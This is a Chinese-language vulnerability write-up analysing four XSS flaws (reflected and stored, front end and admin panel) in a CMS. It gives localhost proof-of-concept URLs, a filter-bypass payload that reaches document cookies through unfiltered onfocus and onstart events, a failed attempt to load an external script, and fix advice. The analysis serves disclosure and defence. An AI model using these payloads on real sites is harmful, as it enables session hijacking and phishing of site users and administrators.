某cms两处全站xss漏洞
字数 1307 2025-08-26 22:12:03
某CMS两处全站XSS漏洞分析与利用教学
1. 漏洞概述
本文档详细分析某CMS系统中存在的两处全站跨站脚本(XSS)漏洞,包括前台反射型XSS、后台反射型XSS、前台留言存储型XSS和后台存储型XSS漏洞。这些漏洞主要由于未对用户输入进行充分过滤直接输出导致。
2. 前台反射型XSS漏洞
漏洞位置
/core/lib/application.class.php文件中的load_controller函数
漏洞原理
系统在处理路由参数时,直接将URL传入的m参数拼接后输出,未进行任何过滤。
漏洞验证Payload
http://127.0.0.1:81/index.php?a=login&c=member&m=%3Cimg%20src=1%20onerror=alert(1)%3E
代码分析
- 路由参数通过
ROUTE_C、ROUTE_M、ROUTE_A全局变量传递 - 在
/core/func/basic.fun.php中:$var["m"] = ROUTE_M; $var["c"] = ROUTE_C; $var["a"] = ROUTE_A; - 直接拼接
$m和$filename寻找路径,未过滤直接输出
3. 后台反射型XSS漏洞
漏洞位置
/core/lib/YUNYECMSAdmin.class.php
漏洞原理
与前台反射型XSS类似,直接拼接了URL传入的c参数(ROUTE_C)并输出,未进行过滤。
4. 前台留言存储型XSS漏洞
漏洞URL
http://127.0.0.1:81/index.php?a=customform&catid=12
有效Payload
<marquee onstart=prompt(1)><marquee><input onfocus=prompt(document[coo+kie])>
代码分析
- 函数位置:
core\app\content\index.php中的formadd()函数 - 虽然使用了
usafestr()函数进行过滤,但过滤不彻底 usafestr()函数定义在/core/func/core.fun.php- 具体过滤规则在
core\extend\classes\safestring.php中
过滤规则特点
- 过滤了
onerror、alert、onmouseover等常见XSS触发事件 - 但未过滤
onfocus、onstart等事件
触发点
在后台点击删除留言时的确认提醒处触发XSS
5. 后台存储型XSS漏洞
漏洞URL
http://127.0.0.1:81/admin.php?c=content&a=customform_add&usv_ixIW=egksuBNTW6
代码分析
- 函数位置:
\core\admin\content.php中的customform_add()函数 - 仅对
catid参数进行了usafestr过滤 - 其他输入参数未进行任何过滤
6. 漏洞利用限制与绕过尝试
获取Cookie的限制
- 系统过滤了
//字符,导致无法直接使用外部XSS平台 - 尝试失败的Payload示例:
<input onfocus=document.body.appendChild(document[`cr`+`eateElement`](`scr`+`ipt`)).src=http://127.0.0.1`>
7. 漏洞修复建议
- 对所有用户输入参数进行严格过滤,包括路由参数
- 完善
usafestr()函数的过滤规则,增加对更多XSS触发事件的过滤 - 对输出内容进行HTML实体编码
- 实施内容安全策略(CSP)
- 对后台功能增加更严格的权限验证
8. 总结
该CMS系统存在多处XSS漏洞,主要由于:
- 直接输出未过滤的用户输入
- 过滤函数不完善,可被特定Payload绕过
- 后台功能缺乏严格的输入验证
这些漏洞可被利用进行钓鱼攻击、会话劫持等恶意行为,特别是后台XSS结合低权限账户可能造成更大危害。